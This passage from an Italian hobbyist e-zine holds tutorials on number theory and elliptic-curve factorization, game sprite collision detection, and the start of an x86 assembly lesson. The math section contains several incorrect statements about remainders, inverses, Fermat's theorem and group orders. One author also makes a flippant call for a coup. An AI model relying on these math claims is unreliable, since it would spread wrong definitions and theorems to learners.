1.1.2] Gruppi
Un gruppo (G, *) ha un'operazione interna * ed e' un insieme che
soddisfa le proprieta':
-proprieta' associativa P @ a,b,c E G, (a*b)*c == a * (b * c)
-ha l'elemento neutro @ a E G, uG * a == a * uG == a [dove uG e'
l'elemento neutro]
-ha l'inverso @ a E G, -] b E G t.c. a * b == b * a = uG

Dato un gruppo (G, *) se a * b == b * a , @ a, b E G allora G e' un
gruppo commutativo o gruppo abeliano.

1.1.3] Anelli
Un anello (A, +, *) ha due operazioni interne una denotata additivamente
e l'altra moltiplicativamente; gli anelli sono:
-un gruppo abeliano rispetto alla somma [prima operazione]
-il prodotto [seconda operazione] gode della proprieta' associativa
-proprieta' distributiva a * (b + c) == a * b + a * c ,
(a + b) * c == a * c + b * c

Un anello si dice commutativo se il prodotto [seconda operazione] gode
della proprieta' commutativa. Se esiste un elemento neutro rispetto al
prodotto allora l'anello ha un'identita'.

1.1.4] Campi
Un campo (C, +, *) ha due operazione interne, come nel caso dell'anello
una denotata additivamente e una denotata moltiplicamente.
-C e' un gruppo moltiplicativo.
-la seconda operazione e' distributiva rispetto alla prima.

1.1.5] Artimetica modulare
L'aritmetica modulare studia i resti delle divisioni aritmetiche.
X e' il divisendo, m e' il divisore, Q e' il quoziente e R e' il resto.
(X mod m) = R si legge X modulo m e' uguale a R.
Esempi:
5 mod 3 = 2 infatti m * Q + R == X -> 3 * 1 + 2 == 5
31 mod 43 = 31 infatti 43 * 0 + 31 == 31

Possiamo dire che R < m, infatti 0 < R < m - 1

(X mod 1) == 0 -> un qualsiasi numero modulo 1 e' sempre uguale a 0.
(0 mod m) == 0 -> 0 modulo qualsiasi numero e' sempre uguale a 0.
(X + Y) (mod m) == X(mod m) + Y(mod m) -> il resto di una somma e'
uguale alla somma dei resti.
(X * Y) (mod m) == X(mod m) * Y(mod m) -> il resto di un prodotto e'
uguale al prodotto dei resti. Quest'ultima equivalenza ci sara' utile
nella determinazione dei resti in divisioni tra numeri composti da
molte cifre poiche' ci dice che:
(X^2)(mod m) == X(mod m) * X(mod m) == R^2

1.1.6] Piccolo teorema di Fermat
Cosa ci dice il piccolo teorema di Fermat?
p divide a^(p - 1) - 1, quando p e' primo e a e' primo con p [non hanno
divisori comuni].
Una generalizzazione che puo' seguire da questa forma e': presi due
numeri interi positivi m, n con m == n allora a^n == a^m (mod p).
[Utilizzato per la dimostrazione dell'algoritmo RSA].

1.2] Informatica

1.2.1] Calcolabilita' e complessita' di un algoritmo
Calcolabilita': e' possibile scrivere un algoritmo per risolvere il
problema?

Complessita': sapendo che il problema e' calcolabile, quanto e'
complesso? Per valutare la complessita' ci interessiamo del tempo
di calcolo (tralaciamo quindi lo spazio di memoria occupato).
La complessita' viene calcolata tenendo conto di tutte le operazioni
algebriche e logiche, accesso in lettura e scrittura, etc...
Nelle nostre valutazioni, comunque, partiremo dal presupposto che la
macchina che eseguira' l'algoritmo sara' una macchina ideale, un
calcolatore astratto che non tenga conto delle prestazioni hardware.
Per poter descrivere la complessita' di un algoritmo e' necessario
conoscere gli ordini di grandezza: teta, omega, O.
Prendiamo ora due funzioni f e g, diremo che:
f e' O(g) se f cresce al piu' come g, quindi g e' il limite superiore.
f e' omega(g) se f cresce almeno come g, quindi g e' il limite
inferiore.
f e' teta(g) se f cresce come g, quindi f ha lo stesso ordine di
grandezza di g.
Per il concetto di limite, lim (x -> +inf) f(x)/g(x) == c
Se c /= 0 => f e' teta(g) e quindi g e' teta(f)
Se c == 0 => f e' O(g)
Un esempio potrebbe essere: questo algoritmo ha complessita' O(log n),
questo vuol dire che ha complessita' log in base 2 di n.

Negli algoritmi ci puo' essere un'istruzione dominante allora accade che
riducendo la complessita' di questa, la complessita' dell'intero
algoritmo cali vertiginosamente.

Il metodo migliore per valutare la complessita' di un codice e' quello
di spezzarlo in blocchi e analizzare l'ordine di grandezza di ogni
singolo blocco.

Esempio di calcolo della complessita':
{
int n, i, p;
scanf("%d", &n);
for(i = 0, p = 0; i < n; i++) { p++; }
}
La complessita' di questo blocco e' O(n). Questa potrebbe crescere
inserendo una nuova operazione di complessita' maggiore.

1.2.2] Rappresentazione numerica di un messaggio
N.B QUESTO PARAGRAFO E QUELLO SULLA RAPPRESENTAZIONE DEI NUMERI IN Zn
sono fondamentali per la comprensione della maggior parte degli
algoritmi di crittografia.

Supponiamo per esempio che un messaggio sia composto solo dalle 21
lettere dell'alfabeto italiano piu' lo spazio. Quindi con i numeri
compresi tra 0 e 21 possiamo indicare ogni carattere.
Dati m blocchi, quanti blocchi possiamo codificare col nostro
insieme di 22 caratteri? 22^m; quindi possiamo indicare ogni blocco
identificandolo tra 0 e (22^m) - 1.
Prendiamo per esempio un blocco [A1..Am], indichiamo con i numeri
[X1..Xm] corrispondenti alle lettere A1..Am e indichiamo il blocco
col numero risultante.
Piu' precisamente con il metodo illustrato qui sotto otteniamo che ogni
blocco sia indicato univocamente:
x = 22^(m - 1) * X1 + 22^(m - 2) * X2 + ... + 22^1 * X(m - 1) + Xm
Il processo e' ovviamente invertibile, infatti possiamo ricavare
[X1..Xm] e quindi [A1..Am]. Prendiamo il nostro x e dividiamolo per 22,
il resto ottenuto da questa divisione sara' Xm. Ora dividiamo il
quoziente (Q) della divisione per 22 e otteniamo X(m - 1) e cosi' via.

1.2.3] Rappresentazione di un messaggio in Zn
N.B QUESTO PARAGRAFO E' FONDAMENTALE PER LA COMPRENSIONE DELLA
MAGGIOR PARTE DEGLI ALGORITMI DI CRITTOGRAFIA.
[Questo paragrafo e' in parte un riassunto, semplificato della Ref.2]
[In questo paragrafo e' necessaria la parte di aritmetica modulare]
Una volta trovato il numero di simboli del nostro alfabeto (22 nel
paragrafo precente), genericamente n, possiamo indicare con Zn
l'insieme dei numeri compresi tra 0 e n - 1. Di qui possiamo arrivare
a scrivere una funzione f:Zn -> Zn che ad ogni blocco di m caratteri di
Zn associa un nuovo blocco in Zn; questo procedimento rende possibile
l'operazione inversa (descrittazione) f^-1.
Una condizione necessaria su f perche' questa sia invertibile e' che
sia iniettiva, cioe' che a ogni elemento del dominio ne associ uno e
uno solo dell'immagine; se la condizione non fosse necessaria allora
non potremmo scrivere una funzione che decritta univocamente i blocchi
crittati.
Matematicamente una funzione si dice iniettiva se:
f(x) == f(x') <=> x == x'

Una funzione f e' invertibile se e solo se e' iniettiva.

La condizione di invertibilita' si esprime in questo modo:
Presi due elementi x E X, y E Y sia f una funzione da X a Y,
allora esiste una funzione f^-1 da Y a X se e solo se
f^-1(f(x)) = x e f(f^-1(y)) = y
L'invertibilita' puo' essere scritta anche cosi':
g ° f = idA e f ° g = idB
[In generale: f ° g == f(g)]

**EQUIVALENZA**
Definiamo ora l'operatore di equivalenza o conguenza in Zn
a == b (mod n).
Detto piu' semplicemente se pensiamo a Zn come ad un insieme di
numeri consecutivi, prendiamo due numeri a, b E Zn.
**SOMMA**
Se a + b < n allora possiamo prendere come risultato della somma
a + b.
Se a + b >= n allora dobbiamo sottrarre n poiche' sforeremo
dall'insieme Zn dato che dovremmo considerare numeri piu' grandi di n
che non possono essere dentro l'insieme.
Quindi se ripensiamo all'equivalenza un n + 1 == 1 in Zn, n + 2 == 2
in Zn, etc...
L'operazione di riduzione si effettua per passare da un generico numero
al suo corrispondente in Zn.
Esempio:
3 + 5 == 2 in Z6, poiche' 8 (mod 6) == 2
**PRODOTTO**
Ovviamente tutto cio' che abbiamo detto finora per la somma vale allo
stesso modo per il prodotto.
a * b = c (mod n)
**OPPOSTO**
Ogni x E Zn ammette opposto, che e' semplicemente il numero congruente
a -x in Zn cosicche' x + (-x) == 0, poiche' 0 e' l'elemento neutro della
somma.
Esempio:
In Z8, l'inverso di 5 e' 3, infatti 5 + 3 == 8 == 0
**INVERSO**
Per quanto riguarda l'inverso dobbiamo riferirci all'elemento neutro del
prodotto che e' 1, infatti x * x^-1 == 1.
Non tutti gli elementi di Zn quindi ammettono inverso. Prendiamo ad
esempio in Z5 il numero 2; bene il suo inverso sara' 3, poiche'
2 * 3 == 6 == 1.
Mentre 2 non ha inverso in Z6, dato che ogni numero moltiplicato per 2
da' come risultato un numero pari, mentre l'inverso dovrebbe essere
dispari.
In generale possiamo riassumere che un numero ha inverso in Zn se e solo
se GCD(x, n) == 1.
Di conseguenza se n e' primo (cioe' divisibile solo per uno e per se
stesso) allora ogni numero tranne 0 ammette inverso, e Zn definito
queste operazioni di somma e prodotto e' un campo; al contrario se
n non e' primo esiste almeno un numero in Zn che non ha inverso e
Zn e' un anello.

2] Algoritmi fondamentali
Quali caratteristiche deve avere un algoritmo?
a) Finito: deve terminare dopo un numero finito di passi.
b) Definito: essendo i computer delle macchine deterministiche, ogni
passo dell'algoritmo deve essere definito precisamente.
c) Input: 0 o piu' valori in input.
d) Output: 1 o piu' output.
e) Realizzabilita': tutte le operazioni usate nell'algoritmo devono
poter essere fattibili anche da un uomo su carta.

Un algoritmo si dice computazionalmente trattabile se esiste un
algoritmo efficiente che lo risolva.
Un algoritmo si dice efficiente se esiste una funzione che lo limita
superiormente.



2.1] Test di primalita' e teorema di Fermat
Secondo quanto ci dice il teorema di Fermat x^(p-1) mod p == 1
se p e' primo e x non e' multiplo di p; quando questa relazione non e'
verificata allora p e' composto.
Servono quindi solo O(log n) moltiplicazioni mod n per verificare il
teorema di Fermat. Comunque per n molto grandi i calcoli diventano
molto costosi in termini di tempo e risorse.


2.1.1] Test probailistico di primalita'
Il test probabilistico di primalita' in p e' fondamentale per
controllare in modo veloce, e comunque affidabile, se un intero e'
primo oppure composto (e quindi riducibile in fattori primi :)).
0] Prendiamo un numero intero n dispari
(ovviamente se e' pari avra' almeno un fattore, 2);
1] Sia n = 1 + (2^k) * q
(q sara' dispari)
2] Scegliamo un x casuale tale che 1 < x < n
3] Sia j = 0 e y = (x^q) mod n
(questo calcolo richiede O(log q) passi)
4] Se j == 0 e y == 1, oppure y == n - 1 allora n e' probabilemte primo
Se j > 0 and y == 1 saltiamo al passo 6.
Altrimenti proseguiamo.
5] j = j + 1
Se j < k allora y = (y^2) mod n e ritorniamo al passo 4.
Altrimenti proseguiamo.
6] n e' sicuramente composto.

L'algoritmo in se, computato una singola volta ha una probabilita' pari
a 1/4 di fallire; per ottenere una maggiore sicurezza e' possibile
ripetere l'algoritmo r volte, cosi' che la probabilita' di fallimento
sia di (1/4)^r. Pensiamo quindi di ripetere l'algoritmo un numero
finito di volte, ad esempio 100, la probabilita' che il nostro
algoritmo fallisca sara' di (1/4)^100, praticamente 0.

[Questo test e' il piu' gettonato ed e' implementato in tutte le
librerie matematiche (vedi ad esempio GNU Multi Precision e la libreria
matematica di OpenSSL) per il fatto che e' veloce ed affidabile.]

2.2] Numeri random
Un numero random, e' un numero scelto a caso; scrivere un algoritmo
che fornisca una buona fonte di numeri primi non e' affatto semplice.
Algoritmi come il supe-rrandom number generator sono obsoleti e
convergono in modo molto veloce e questo ci insegna che per generare
numeri random non si dovrebbe usare metodi casuali, ma invece bisogna
basarsi sulla teoria matematica.
Una fonte di numeri casuali nei sistemi GNU/Linux e' /dev/random.
In C possiamo per ottenere numeri random e' sufficiente appoggiarsi
a due funzioni contenute nella stdlib, che sono la srand(), che permette
di settare il random seed e la rand() che ci restituisce un intero
casuale compreso tra 0 e RAND_MAX.
#define RAND_MAX 2147483647
Ovviamente la sequenza di numeri casuali e' riottenibile reinserendo
il lo stesso seed in srand().
Un esempio di inizializzazione potrebbe essere srand(time(NULL));.

2.2.1] Linear congruential method
Per generare numeri casuali uniformemente distribuiti tra 0 e 1 si
utilizza prevaletentemente il linear conguential method.
In questo documento mostro solo l'idea alla base dell'algoritmo.
Si scelgano 4 numeri:
m modulo t.c m > 0
a moltiplicatore t.c 0 <= a < m
c incrementatore t.c 0 <= c < m
Xo valore di partenza t.c 0 <= Xo < m

La sequenza di numeri casuali Xn seguira da:
X(n + 1) = (a*Xn + c) mod m
(n >= 0)
Ovviamente per scegliere i 4 numeri di partenza ci son dei metodi che
ci permettono di scegliere dei buoni valori.

2.3] Massimo comun divisore GCD
[GCD == Great Commin Divisor]
In questa sezione vedremo oltre l'aspetto matematico del massimo comun
divisore anche l'algoritmo per il calcolo.
Dati due numeri a, b il massimo comun divisore GCD(a, b) e' numero piu'
grande che li divide entrambe. Vediamo ora alcune proprieta' del GCD.
GCD(0, 0) == 0
GCD(u, v) == GCD(v, u)
GCD(u, v) == GCD(-u, v)
GCD(u, 0) == |u|

L'algoritmo di Euclide ci permette di trovare il massimo comun divisore
senza prima trovare i fattori primi di u e v.
Poniamo sempre a sinistra l'intero maggiore.

Vediamo prima l'algoritmo originale:
0] Siano A e C due interi > 1 calcolarne il GCD
1] Se A > C e C divide A => C e' il GCD(A, C)
2] (A mod C) == 1 allora A e C son primi tra loro, quindi
l'algoritmo termina. Altrimenti (A mod C) > 1, calcoliamo il
GCD(C, A mod C).
Questo algoritmo da vita quindi a una procedura ricorsiva.

Ora invece vediamo un'implementazione moderna dell'algoritmo.
0] Siano u e v due interi >= 0 calcolare GCD(u, v)
1] Se v == 0 allora GCD(u, v) == u
2] r = u mod v, u = v, v = r; ritorniamo al punto 1].

Esistono altri algoritmi per il calcolo del GCD [come il binary gcd
algorithm], e quindi si potrebbe continuare a parlare del massimo
comun divisore per pagine e pagine, ma direi che per rendere l'idea
i due descritti son piu' che sufficienti.

3] Elliptic Curve Method

L'idea che sta alla base dell'algoritmo di Lenstra e' quella di
sfruttare delle curve ellittiche, scelte casualmente, per svolgere
dei tentativi di fattorizzazione, e ognuno di questi ha una probabilita'
non nulla di trovare un fattore primo di N.
Inanzitutto vediamo come e' fatta una curva ellittica, la cui equazione
e': y^2 = x^3 + a*x + b
Da questo possiamo dedurre che una curve ellittica e' un grafico di
una cubica (terzo grado) [non bisogna confondersi con l'ellisse].
Le curve ellittiche son funzioni continue il che ci permette di
costruire operazioni binarie tra i suoi vari punti in un modello
geometrico naturale, il che trasforma l'insieme di punti in gruppo
abeliano.
Le CE possono essere definite su qualsiasi campo k.
L'algoritmo e' un miglioramento dell'algoritmo Pollard p-1 ed era il
metodo piu' veloce per trovare i fattori primi di un intero prima
del Generalized Number Field Sieve. Comunque e' ancora l'algoritmo
piu' veloce per interi inferiore a 64 bits [20 cifre].
Il miglioramento consiste nel fatto che l'algoritmo di Lenstra
considera il gruppo di una curva ellittica casuale su un campo finito
Zp [con p primo], il quale ha sempre ordine p - 1. Invece l'ordine
del gruppo della CE su Zp varia casualmente tra p e 2p.

0]
Sia n il nostro intero da ridurre in fattori primi.

1]
Scegliamo una curva ellittica C: y^2 = x^3 + a*x + b, tale che a e b
appartengano a Z (insieme dei numeri interi).
Scegliamo poi un punto P(x, y).
Sia la scelta di C che la scelta di P dovranno essere pseudo-casuali.
[Se noi fallissimo il tentativo di fattorizzazione con la coppia (C,P)
scelta ora dovremmo sceglierne un'altra a caso.]

2]
Verifichiamo ora che il massimo comun divisore GCD(4a^3 + 27b^2, n) == 1
Se questa condizione e' vera abbiamo la conferma che la curve da noi
scelta e' riducibile mod p. Questo vuol dire che, preso un primo p,
possiamo considerare i coefficienti dell'equazione della curva modulo p
se e solo se questi sono primi con p.
[GCD(K,Z) leggasi massimo comun divisore tra K e Z]
Se 1 < GCD(4a^3 + 27b^2, n) < n allora abbiamo trovato un divisore non
banale di n, quindi abbiamo trovato un fattore primo di n. Ogni volta
che si verifica questa condizione possiamo dividere n per il fattore
trovato e continuare la scomposizione in fattori primi.
Se, invece, troviamo che il risultato del massimo comun divisore e'
uguale ad n allora dobbiamo generare una nuova coppia (C,P).

3]
Prendiamo un intero k tale che questo sia il prodotto di tutti i
numeri primi minori di un certo b scelto a caso.
Assumiamo per facilitare le operazioni di calcolo che b sia inferiore
a un intero a 4 byte senza segno.
Ora e' sufficiente trovare tutti i primi inferiori di questo b e
moltiplicarli, cosicche' k sia multiplo di ognuno di loro.
Si calcoli kP nel gruppo, con il metodo delle potenze veloci, modulo n.
kP e' uno zero della curva ellittica nel gruppo Zp [dove p e' un
divisore primo di n], ma non e' uno zero nel gruppo Zq [dove q e' un
altro divisore di n, con q /= p]. A questo punto possiamo trovare un
fattore di n computando il GCD(xP, n) [dove xP e' la prima coordinata
del punto P].

4] Se il procedimento fallisce e' necessario ripartire con una nuova
coppia (C, P).

Un'implementazione decente dell'algoritmo e' gmp-ecm di Paul Zimmermann
and Alexander Kruppa.
[Il codice dell'SECMI (Simple Elliptic Curve Method Implementation) che
trovate sul mio sito e' una semplice reimplementazione di quello scritto
da Rihard Brent, che dava dei problemi con alcuni numeri e poteva essere
velocizzato].


Per qualsiasi chiarimento scrivetemi a binduck(at)gmx<dot>net
Ciao

Riferimenti:
*1 - The art of computer programming Vol. 1 - 2
*2 - Appunti di crittografia di Giovanni Alberti
*3 - Libri e appunti vari di matematica


Paolo Ardoino AKA binduck <binduck(at)gmx<dot>net>
http://ardoino.altervista.org


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0C] OQ20040615[0C] ::
:: [0x03][C0DiNG] C0LLiSi0N DETECTi0N [darko] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Innanzi tutto vorrei ringraziare lo staff di OndaQuadra per lo spazio
concessomi, essendo questo il mio primo articolo in questa e-zine.
Ed in secondo luogo vorrei inneggiare a un golpe perche' questo governo
e' peggio di quello Mussolini...

E poi... l'articolo!
Trattiamo un'importante quanto fondamentale componente della
programmazione di giochi, ovvero la rilevazione delle collisioni
(in english: collision detection).Spieghiamo subito. Le collisioni, in
un gioco, avvengono quando due oggetti si toccano; pensate, ad esempio,
ad un'astronave che viene a contatto con una nave nemica o un
meteorite, la collisione di questi due oggetti provocheranno l'innesco
di un evento, ad esempio un'esplosione.

La questione mi si e' posta durante la stesura del codice di un gioco,
il DarkBattle, che e' pero' rimasto ad un livello embrionale :-( .

Con questo articolo spieghero' perche' decidere se due oggetti si
stanno toccando, non sia cosi' semplice come dirlo.

Le librerie grafiche che utilizzo sono le SDL ma il discorso e'
generale, per cui puo' essere applicato a tutte le librerie grafiche
che permettono di leggere singoli pixel di un'immagine. Comunque non e'
detto che in futuro non debba scrivere qualche articolo proprio sulle
SDL.

Utilizziamo l'esempio di un'astronave e di una nave nemica. I due
oggetti in questione avranno una forma ben definita, magari un po'
complessa, ad ogni modo, qualunque forma abbiano, le due immagini
saranno sempre contenute dentro dei rettangoli che non vediamo in
quanto riempiti di colore neutro (che diverra' poi, nel gioco,
trasparente). Perche' c'e' questo rettangolo?? Perche' le immagini,
di qualunque formato esse siano, sono definite da un'area (o canvas)
rettangolare. Se disegnate un cerchio con Gimp, ad esempio, non potete
salvare solo il cerchio, ma dovete salvare il rettangolo che contiene
il cerchio, proprio perche' i formati di immagini prevedono solo
immagini rettangolari.

Torniamo alla nostra astronave, poniamo che sia questa (in ASCII Art):

W
.-----------.
| |
| ^ |
| ^o^ |
H | .o8o. |
| ^o888o^ |
| ||| |
| |
'-----------'

Questo rettangolo di larghezza W e altezza H contiene l'immagine della
astronave. Ovviamente, in un esempio piu' reale, la scelta di W e H e'
tale da ridurre al minimo l'area del rettangolo. Come dicevo, il colore
di sfondo del rettangolo verra' utilizzato come Key Color e non verra'
visualizzato.
Iniziamo ad utilizzare anche qualche termine piu' corretto ed
attinente. D'ora in poi non parlero' piu' di "immagini" (a meno che non
ce ne sia bisogno) ma di "sprite". Lo sprite (in italiano: folletto) e'
un oggetto che in un gioco ha dei movimenti, che sono dati dalla
successione di alcuni frame, come se si trattasse di un filmato, anzi,
di una GIF animata. Ma i filmati e le GIF animate non possono essere
modificate da eventi esterni, mentre uno sprite si'. Tornero' sul
discorso in un prossimo articolo, per ora vi basti questo :)

Le due problematiche fondamentali in un algoritmo che rilevi la
collisione tra due spite sono:

* capire quando le immagini _dentro_ i rettangoli si toccano;
* utilizzare il minimo numero di funzioni/operazioni per non
pregiudicare la velocita' del gioco.

Passiamo subito ad analizzare la prima questione. Come facciamo, cioe',
a capire quando due sprite si toccano "veramente"?? A noi interessa
sapere se e' avvenuta una collisione tra le immagini che sono _dentro_
i rettangoli, non ci basta constatare la collisione dei rettangoli,
altrimenti il gioco dara' l'impressione di essere parecchio impreciso e
vedremmo, ad esempio, la nostra astronave esplodere "inutilmente" solo
perche' un missile le e' passato di fianco!

Allora ho implementato un algoritmo abbastanza semplice ma molto
efficace, e -a parte le ottimizzazioni- credo che sia lo stesso
algoritmo utilizzato dai programmatori di giochi "seri".

Iniziamo ad illustrare lo schema teorico di tale algoritmo. Poniamo che
il Key Color sia il nero, il nostro sprite utilizzera' percio' tutti i
colori del mondo _tranne_ il nero, altrimenti, durante la fase del
gioco, le parti nere diverranno trasparenti!

Possiamo quindi costruirci una matrice WxH dove W e H rappresentano la
largezza e l'altezza dell'immagine in pixel. Questa matrice sara'
percio' composta da un numero di elementi che e' uguale al numero di
pixel dell'immagine. Adesso associamo il valore 0 ad ogni pixel nero
dell'immagine e il valore 1 ad ogni pixel diverso dal colore nero. La
nostra matrice sara' quindi fatta cosi':

Immagine Matrice

W
.-----------. 00000000000
| | 00000000000
| ^ | 00000100000
| ^o^ | 00001110000
H | .o8o. | ==> 00011111000
| ^o888o^ | 00111111100
| ||| | 00001110000
| | 00000000000
'-----------'

Dal punto di vista della programmazione la matrice sara' un doppio
array, di dimensioni [W][H]. Ovviamente potete anche utilizzare un
array monodimensionale con un offeset uguale alla larghezza della
immagine... come preferite, il risultato nn cambia.

Adesso che abbiamo questa matrice cosa ne facciamo? Poniamo che la
matrice di una nave nemica sia questa:

Immagine Matrice

W
.-----------. 00000000000
| | 00000000000
| ^ | 00000100000
| o | 00000100000
H | _^_ | ==> 00001110000
| ::=:: | 00011111000
| I | 00000100000
| | 00000000000
'-----------'

e che la posizione dell'astronave nemica e della mia sia questa:


.-----------.
| |
| ^ |
| o |
| _^_ a |
| ::=::-----------.
| I |###| |
| b|###| ^ |
'-----------'^o^ |
| .8o8. |
| ^o888o^ |
| ||| |
| |
'-----------'

La zona contrassegnata da "#" e' la parte di piano delimitata dalla
sovrapposizione delle due immagini. Questa zona, come si deduce (spero)
dal disegno, e' larga "a" pixel e alta "b". Determinare i valori di "a"
e di "b" e' piuttosto semplice, lo si deduce dalle coordinate delle
astronavi.
Cio' che ci interessa e' capire se si sono sovrapposte anche le
immagini _dentro_ i rettangoli. Siamo al nocciolo della questione,
attenzione quindi...

Prendo le mie due matrici, quella associata alla nostra astronave e
quella associata alla nave nemica. Di ogni matrice prendo la relativa
sottomatrice axb (calcolando i giusti offset dati dalle coordinate
degli sprite). Adesso inizio a prendere ogni elemento "i" di ogni
matrice e li sottopongo all'AND logico.
Le possibilita' sono le seguenti:

Legenda:

i_N -> elemento "i" della sottomatrice della nave nemica
i_A -> elemento "i" della sottomatrice della nostra astronave

Possibilita':

1. Se i_N = 0 e i_A = 0 Allora: i_N AND i_A = 0
2. Se i_N = 0 e i_A = 1 Allora: i_N AND i_A = 0
3. Se i_N = 1 e i_A = 0 Allora: i_N AND i_A = 0
4. Se i_N = 1 e i_A = 1 Allora: i_N AND i_A = 1

Che non e' altro che il risultato della tabellina dell'AND:

AND | 0 1
-----------
0 | 0 0
|
1 | 0 1

Spiegando i vari casi:

1. I pixel "i" dell'immagine della nave nemica e della mia astronave
sono entrambi neri
2. Il pixel "i" dell'immagine della nave nemica e' nero mentre e'
colorato nell'altra immagine
3. Il pixel "i" dell'immagine della nave nemica e' colorato mentre e'
nero nell'altra immagine
4. I pixel "i" dell'immagine della nave nemica e della mia astronave
sono entrambi colorati

...ma se quindi, come nel caso 4. i pixel nel punto "i" sono entrambi
colorati, significa che gli sprite si stanno toccando (sporcaccioni...)
e la collisione e' avvenuta!

Per fiketteria mostriamo l'operazione con le matrici dell'ultimo caso.
Ovviamente le sto inventando adesso, in quanto nel disegno precedente
le astronavi, per semplicita' di disegno, non cozzavano.

1111110 0001000 0001000
1110000 0011100 0010000
1100000 AND 0011100 = 0000000
1000000 0001000 0000000
0000000 0000000 0000000

la prima matrice potrebbe essere l'ala di un'astronave mentre la
seconda un "proiettile". Comunque sia, dopo l'AND logico, la matrice
risultante possiede ben due "1", cio' significa che ci sono 2
collisioni, per cui possiamo innescare l'evento piu' appropriato (tipo
un esplosione o un fumetto dell'astronave colpita che dice "ma chi t'e'
muort!"
).

Il concetto quindi non e' di per se' complicato, ma come dicevo
riguardo alle problematiche di questo algoritmo, sara' bene che
l'utilizzo sia ottimizzato, in quanto ogni AND logico tra matrici costa
parecchi cicli di processore. Per cui, ottimizzare l'uso dell'algoritmo
significa:

1. Utilizzarlo solo quando ce n'e' un effettivo bisogno. Quindi, se
un oggetto non entra mai in collisione con altri, come ad esempio un
pianeta di sfondo, e' inutile processarne l'immagine ed eseguire test
sulla sua posizione, puo' -anzi- deve essere ignorato.

2. Quando si testa una sovrapposizione, al primo "1" che risulti da
un AND logico il test deve fermarsi. Infatti che utilita' ha sapere
in quanti punti e' avvenuta la collisione?? A noi basta un punto solo
(a meno che il vostro gioco non richieda diversamente, magari
potreste volere che piu' punti collidono e piu' danno viene subito)
in modo da poter immediatamente innescare l'evento e risparmiare
quindi inutili giri di processore.

3. Non so se sia fattibile, non conosco ancora bene l'algebra delle
matrici, ma potrebbe essere possibile limitare l'utilizzo dell'AND
logico in base al determinante di ogni matrice. Sicuramente
approfondiro' l'argomento, per ora l'algo rimane cosi'.

4. Ovviamente e' molto piu' conveniente se le matrici di ogni sprite
vengono create all'inizio del gioco ed una volta per tutte, piuttosto
che calcolare ogni volta i vari "0" e "1". Infatti se abbiamo gia' la
nostra matrice possiamo ricavarci la sottomatrice semplicemente
spostandoci di tanti pixel/unita' quanto la differenza tra le
coordinate delle due immagini.


Comunque queste ottimizzazioni sono molto generali, ovviamente piu' si
entra nello specifico e piu' specifiche saranno le ottimizzazioni.
Direi che con questo e' praticamente tutto. Se mi verranno in mente
altre cose le aggiungero', fermo restando che potrebbero arrivare
presto altri articoli sul Game Programming, magari partendo proprio
dalle "origini".


byez all
darko <darko(at)autistici<dot>org>


:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0C] OQ20040615[0C] ::
:: [0x04][C0DiNG] EASY ASSEMBLY MiSSi0N - PARTE 2 [spectrum] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Benvenuti alla parte seconda. Spero che abbiate appreso piacevolmente
gli argomenti trattati nella parte prima, quindi inizio con l'elencare
alcune definizioni che serviranno in seguito, tanto perche' non vi siano
dubbi sulle terminologie che usero' nel corso dell'articolo.

+ Architettura di un microprocessore e sua implementazione:
Per "Architettura" di un microprocessore, si intende la particolare
configurazione in termini di numero e tipo di registri ed il parti-
colare set di istruzioni che un determinato microprocessore puo
elaborare. Da non confondersi con l'implementazione, che e' il modo
in cui il suo hardware e' sviluppato, cioe la struttura fisica circui-
tale. Ricapitolando, al lato pratico, si puo assume

  
re che un micro-
processore AthlonXP2200 ha la stessa architettura di un Pemtium4, vi-
sto che il set di istruzioni di base, il numero e tipo di registri di
base sono gli stessi. Tutte le applicazioni scritte basandosi sul
linguaggio assembly dell'architettura "X86" 32bit girano su entrambi
i microprocessori. Poco importa se l'Intel ha impiegato 55 milioni
di transistor e l'AMD 37,5. Quando si parla di architettura compati-
bile ci potranno essere prestazioni differenti ma le applicazioni
verranno eseguite da entrambi i modelli.

+ Compilatore e linker:
Il compilatore e' una particolare applicazione che trasforma un file
di testo chiamato "codice sorgente", che per intenderci e' l'applica-
zione che viene scritta da voi, in un file chiamato "oggetto", o me-
glio conosciuto come file "object", con estensione .obj. Questo file
e' un passaggio intermedio necessario affinche' un altra particolare
applicazione chiamata "Linker" trasformi il file oggetto in file
eseguibile finale (.obj in .exe).

Con questa parte entrero' un po nello specifico sui microprocessori
Intel con architettura chiamata IA-32 (Intel Architecture 32bit),
quali per esempio il Pentium 4. Gli argomenti trattati restano cmq per
ora validi anche per processori quali Athlon XP ed altri IA-32
compatibili, ed in egual modo per tutti i predecessori dal 386 in poi.
Riguardo al codice, lo scrivo fin d'ora con sintassi valida per il com-
pilatore Borland Turbo assembler 5.0, modalita' ideal mode.

L'assembly e' la base su cui tutto il mondo informatico e' costruito.
Non ci sono misteri particolari in questo linguaggio, cioe' tutto cio
che si puo fare e' scritto nella documentazione del relativo micropro-
cessore. Nessun mistero, ma un set d'istruzioni chiaro scritto e ben
documentato, con i corrispondenti codici operativi in cui ogni istru-
zione verra' trasformata dal compilatore, con tutto quello che serve
insommma per arrivare fino allo sviluppo di sistemi operativi come
Windows o Linux.

Credo sia utile approfondire ancora un po' la parte hardware, per avere
un idea attuale di com'e fatto il microprocessore, poi seguira' un po di
software. Ovviamente lo scopo degli articoli e' capire il inguaggio
assembly, ma senza aver capito l'hardware cio non e' possibile, visto
che i due mondi sono strettamente legati.

Riprendendo in mano la parte prima, dove ci eravamo fermati su qualche
esempio di base riguardo il funzionamento di un microprocessore, avevo
utilizzato un esempio di una persona seduta ad una scrivania che preleva
i dati da una serie di cassettiere (memoria), li porta vicino a se
(registri del microprocessore), con la capacita' della mente esegue i
calcoli richiesti quindi ripone i risultati in un altra cassettiera
(sempre memoria).

Questo pero e' un esempio molto semplicistico. In realta', nella fami-
glia X86, le operazioni vengono elaborate da una specie di catena di
montaggio, per poter avere un maggior rendimento in termini di istruzio-
ni al secondo. Provo a fare un esempio pratico. Allora, immaginatevi una
piccola fabbrica con al centro un nastro trasportatore e 5 persone sedu-
te una di seguito all'altra che compiono ognuna la sua parte di lavoro.
